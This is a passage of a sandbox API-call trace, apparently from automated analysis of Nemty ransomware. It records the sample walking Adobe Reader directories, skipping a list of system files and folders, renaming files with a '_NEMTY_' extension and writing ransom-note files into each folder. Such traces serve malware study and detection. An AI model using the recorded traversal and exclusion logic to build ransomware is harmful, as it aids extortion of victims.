10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.909] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c01a30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24c01a30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24c27b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.909] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.910] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c01a30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24c01a30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24c27b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.910] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.910] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="SUO", cAlternateFileName="")) returned 1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2=".") returned 1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2="..") returned 1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2="...") returned 1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2="windows") returned -1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2="$RECYCLE.BIN") returned 1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2="rsa") returned 1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2="NTDETECT.COM") returned 1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2="ntldr") returned 1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2="MSDOS.SYS") returned 1 [0189.910] lstrcmpiW (lpString1="SUO", lpString2="IO.SYS") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="boot.ini") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="boot.ini") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="AUTOEXEC.BAT") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="ntuser.dat") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="desktop.ini") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="CONFIG.SYS") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="RECYCLER") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="BOOTSECT.BAK") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="bootmgr") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="programdata") returned 1 [0189.911] lstrcmpiW (lpString1="SUO", lpString2="appdata") returned 1 [0189.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUO", lpUsedDefaultChar=0x0) returned 3 [0189.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SUO", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUO", lpUsedDefaultChar=0x0) returned 3 [0189.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0189.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0189.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0189.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0189.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.911] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.915] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.915] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.916] CloseHandle (hObject=0x2f0) returned 1 [0189.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0189.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0189.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.917] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.917] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.918] CloseHandle (hObject=0x2f0) returned 1 [0189.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.918] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24d7e7f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24d7e7f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.918] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.918] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24d7e7f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24d7e7f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.919] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.919] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0189.919] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.919] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.920] HeapFree (in: 